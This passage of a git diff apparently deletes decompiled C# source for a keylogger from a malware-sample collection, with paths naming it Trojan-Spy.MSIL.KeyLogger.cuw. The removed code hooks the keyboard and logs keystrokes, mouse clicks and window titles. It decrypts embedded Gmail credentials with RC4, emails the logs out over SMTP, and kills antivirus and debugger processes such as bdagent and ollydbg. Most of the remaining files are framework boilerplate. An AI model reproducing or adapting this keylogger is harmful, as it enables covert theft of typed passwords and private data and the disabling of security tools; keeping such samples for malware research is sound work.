this.innerz666.Text += "/"; - else if (Key == Keys.Down) - this.innerz666.Text += "[down]"; - else if (Key == Keys.End) - this.innerz666.Text += "[end]"; - else if (Key == Keys.Return) - { - this.innerz666.Text += "\r\n"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Escape) - { - this.innerz666.Text += "[esc]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.Home) - this.innerz666.Text += "[home]"; - else if (Key == Keys.Insert) - this.innerz666.Text += "[insert]"; - else if (Key == Keys.Left) - this.innerz666.Text += "[<-]"; - else if (Key == Keys.Multiply) - this.innerz666.Text += "*"; - else if (Key == Keys.Next) - this.innerz666.Text += "[p-down]"; - else if (Key == Keys.Prior) - this.innerz666.Text += "[p-up]"; - else if (Key == Keys.Snapshot) - this.innerz666.Text += "[printscreen]"; - else if (Key == Keys.Return) - this.innerz666.Text += "\r\n"; - else if (Key == Keys.Scroll) - this.innerz666.Text += "[scroll]"; - else if (Key == Keys.Up) - this.innerz666.Text += "[up]"; - else if (Key == Keys.Right) - this.innerz666.Text += "[->]"; - else if (Key == Keys.Pause) - this.innerz666.Text += "[pause]"; - else if (Key == Keys.F1) - this.innerz666.Text += "[F1]"; - else if (Key == Keys.F2) - this.innerz666.Text += "[F2]"; - else if (Key == Keys.F3) - this.innerz666.Text += "[F3]"; - else if (Key == Keys.F4) - { - this.innerz666.Text += "[F4]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.F5) - this.innerz666.Text += "[F5]"; - else if (Key == Keys.F6) - this.innerz666.Text += "[F6]"; - else if (Key == Keys.F7) - this.innerz666.Text += "[F7]"; - else if (Key == Keys.F8) - this.innerz666.Text += "[F8]"; - else if (Key == Keys.F9) - this.innerz666.Text += "[F9]"; - else if (Key == Keys.F10) - this.innerz666.Text += "[F10]"; - else if (Key == Keys.F11) - this.innerz666.Text += "[F11]"; - else if (Key == Keys.F12) - this.innerz666.Text += "[F12]"; - else if (Key == Keys.F13) - this.innerz666.Text += "[F13]"; - else if (Key == Keys.F14) - this.innerz666.Text += "[F14]"; - else if (Key == Keys.F15) - this.innerz666.Text += "[F15]"; - else if (Key == Keys.NumPad0) - this.innerz666.Text += "0"; - else if (Key == Keys.NumPad1) - this.innerz666.Text += "1"; - else if (Key == Keys.NumPad2) - this.innerz666.Text += "2"; - else if (Key == Keys.NumPad3) - this.innerz666.Text += "3"; - else if (Key == Keys.NumPad4) - this.innerz666.Text += "4"; - else if (Key == Keys.NumPad5) - this.innerz666.Text += "5"; - else if (Key == Keys.NumPad6) - this.innerz666.Text += "6"; - else if (Key == Keys.NumPad7) - this.innerz666.Text += "7"; - else if (Key == Keys.NumPad8) - this.innerz666.Text += "8"; - else if (Key == Keys.NumPad9) - { - this.innerz666.Text += "9"; - } - else - { - if (Key != Keys.NumLock) - return; - this.innerz666.Text += "[numlock]"; - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(long vkey); - - private void Timer2_Tick(object sender, EventArgs e) - { - if (!MyProject.Computer.Network.IsAvailable) - return; - try - { - this.esendz666.Text = Form1.rc4(this.interz666.Text, "9pz666"); - try - { - this.esendx666.Text = Form1.rc4(this.interx666.Text, "9pz667"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - new SmtpClient() - { - Host = "smtp.gmail.com", - Port = Conversions.ToInteger("587"), - Credentials = ((ICredentialsByHost) new NetworkCredential(this.esendz666.Text, this.esendx666.Text)), - EnableSsl = true - }.Send(new MailMessage() - { - From = new MailAddress(this.esendz666.Text), - To = { - this.esendz666.Text - }, - Body = this.innerz666.Text, - Subject = "Lethal Keylogs" - }); - this.innerz666.Clear(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string rc4(string message, string esendx666word) - { - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = esendx666word.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = esendx666word.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - location1 = 1; - while (location1 <= message.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - - private void Timer1_Tick(object sender, EventArgs e) - { - if (Form1.GetAsyncKeyState(2L) == -32767) - { - this.innerz666.Text += "[RB]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) != 0) - { - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n\r\n"; - } - } - if (Form1.GetAsyncKeyState(1L) != -32767) - return; - this.innerz666.Text += "[LB]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n\r\n"; - } - - private void Timer3_Tick(object sender, EventArgs e) - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(this.check9, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("sample"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check10, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("outpost"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check11, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("npfmsg"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check12, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("bdagent"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check18, "Yes", false) == 0 && Operators.CompareString(Strings.LCase(processes[index].ProcessName), Strings.LCase("keyscrambler"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check21, "Yes", false) == 0 && Operators.CompareString(Strings.LCase(processes[index].ProcessName), Strings.LCase("ollydbg"), false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public class KeyboardHook - { - private const int HC_ACTION = 0; - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private const int WM_KEYUP = 257; - private const int WM_SYSKEYDOWN = 260; - private const int WM_SYSKEYUP = 261; - private static int KeyHook; - private static Form1.KeyboardHook.KeyboardProcDelegate KeyHookDelegate; - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Form1.KeyboardHook.KeyboardProcDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int UnhookWindowsHookEx(int hHook); - - public static event Form1.KeyboardHook.KeyDownEventHandler KeyDown; - - public static event Form1.KeyboardHook.KeyUpEventHandler KeyUp; - - public KeyboardHook() - { - Form1.KeyboardHook.KeyHookDelegate = new Form1.KeyboardHook.KeyboardProcDelegate(Form1.KeyboardHook.KeyboardProc); - Form1.KeyboardHook.KeyHook = Form1.KeyboardHook.SetWindowsHookEx(13, Form1.KeyboardHook.KeyHookDelegate, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private static int KeyboardProc( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam) - { - if (nCode == 0) - { - switch (wParam) - { - case 256: - case 260: - Form1.KeyboardHook.KeyDownEventHandler keyDownEvent = Form1.KeyboardHook.KeyDownEvent; - if (keyDownEvent != null) - { - keyDownEvent((Keys) lParam.vkCode); - break; - } - break; - case 257: - case 261: - Form1.KeyboardHook.KeyUpEventHandler keyUpEvent = Form1.KeyboardHook.KeyUpEvent; - if (keyUpEvent != null) - { - keyUpEvent((Keys) lParam.vkCode); - break; - } - break; - } - } - return Form1.KeyboardHook.CallNextHookEx(Form1.KeyboardHook.KeyHook, nCode, wParam, lParam); - } - - ~KeyboardHook() - { - Form1.KeyboardHook.UnhookWindowsHookEx(Form1.KeyboardHook.KeyHook); - // ISSUE: explicit finalizer call - base.Finalize(); - } - - private struct KBDLLHOOKSTRUCT - { - public int vkCode; - public int scancode; - public int flags; - public int time; - public int dwExtraInfo; - } - - private delegate int KeyboardProcDelegate( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - public delegate void KeyDownEventHandler(Keys Key); - - public delegate void KeyUpEventHandler(Keys Key); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Form1.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MyApplication.cs deleted file mode 100644 index 724d7187..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MyApplication.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MyApplication -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace MicrosoftWindows.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : WindowsFormsApplicationBase - { - [STAThread] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MyComputer.cs deleted file mode 100644 index cff3ded6..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MyComputer -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace MicrosoftWindows.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MyProject.cs deleted file mode 100644 index 3e0c6b65..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MyProject -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace MicrosoftWindows.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MySettings.cs deleted file mode 100644 index f28bd97c..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MySettings.cs +++ /dev/null @@ -1,82 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MySettings -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace MicrosoftWindows.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - - [UserScopedSetting] - [DefaultSettingValue("True")] - [DebuggerNonUserCode] - public bool runonce - { - get => Conversions.ToBoolean(this[nameof (runonce)]); - set => this[nameof (runonce)] = (object) value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MySettingsProperty.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MySettingsProperty.cs deleted file mode 100644 index 8069fb77..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MySettingsProperty -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace MicrosoftWindows.My -{ - [DebuggerNonUserCode] - [StandardModule] - [HideModuleName] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/Resources/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/Resources/Resources.cs deleted file mode 100644 index 5604e005..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.Resources.Resources -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace MicrosoftWindows.My.Resources -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [CompilerGenerated] - [DebuggerNonUserCode] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) MicrosoftWindows.My.Resources.Resources.resourceMan, (object) null)) - MicrosoftWindows.My.Resources.Resources.resourceMan = new ResourceManager("MicrosoftWindows.Resources", typeof (MicrosoftWindows.My.Resources.Resources).Assembly); - return MicrosoftWindows.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => MicrosoftWindows.My.Resources.Resources.resourceCulture; - set => MicrosoftWindows.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git 